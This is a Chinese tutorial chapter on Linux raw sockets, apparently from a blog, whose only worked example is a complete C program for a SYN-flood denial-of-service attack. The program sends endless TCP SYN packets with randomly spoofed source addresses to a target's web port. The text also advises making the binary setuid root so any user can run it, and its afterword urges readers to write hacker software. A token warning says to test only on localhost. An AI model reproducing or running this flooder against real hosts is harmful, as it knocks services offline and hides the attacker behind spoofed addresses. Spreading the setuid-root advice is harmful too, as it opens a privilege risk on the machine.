(十)Linux网络编程--10. 原始套接字

我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外
一种套接字–原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能.
注意原始套接字只能够由有 root权限的人创建.
10.1 原始套接字的创建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
详细的情况查看 socket的man手册 下面我们以一个实例来说明原始套接字的创建和使用
10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

/********************  DOS.c               *****************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define DESTPORT        80       /* 要攻击的端口(WEB)      */
#define LOCALPORT       8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字    ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
}
/********  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/****  没有办法,只用超级护用户才可以使用原始套接字    *********/
setuid(getpid());
/*********  发送炸弹了!!!!          ****/
send_tcp(sockfd,&addr);
} 

/*******  发送炸弹的实现   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];  /**** 用来放置我们的数据包  ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/********  填充IP数据包的头部,还记得IP的头格式吗?     ******/ 
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度  **/
ip->ip_tos=0;                   /** 服务类型            **/
ip->ip_len=htons(head_len);     /** IP数据包的长度      **/
ip->ip_id=0;                    /** 让系统去填写吧      **/
ip->ip_off=0;                   /** 和上面一样,省点时间 **/        
ip->ip_ttl=MAXTTL;              /** 最长的时间   255    **/
ip->ip_p=IPPROTO_TCP;           /** 我们要发的是 TCP包  **/ 
ip->ip_sum=0;                   /** 校验和让系统去做    **/
ip->ip_dst=addr->sin_addr;      /** 我们攻击的对象      **/
/*******  开始填写TCP数据包                           *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;           /** 目的端口    **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                        /** 我要建立连接 **/
tcp->check=0;

/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^  **/
while(1)
  {
/**  你不知道我是从那里来的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();     
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/**            下面这条可有可无    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
  short answer=0;
while(nleft>1)
{
  sum+=*w++;
  nleft-=2;
}
if(nleft==1)
{
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,
我们应该将这个程序的所有者变为root,且 设置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS

10.3 总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢.
当我们创建了一个 TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,
回自动的调用相应的模块给数据加上TCP 头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们
发送出去. 在上面的实例中,由于我们要修改我们的源IP地址, 所以我们使用了setsockopt函数,如果我们只是修改TCP数据,
那么IP数据一样也可以由系统来创建的.

  1. 后记
    总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方
    都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.
    如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走.
    网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许
    许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库.
    如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.
    看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.
    我们现在用的软件有几个是我们中国人自己编写的. 不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的
    差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!
    相信一点:
    别人可以做到的我们一样可以做到,而且可以比别人做的更好!
    勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值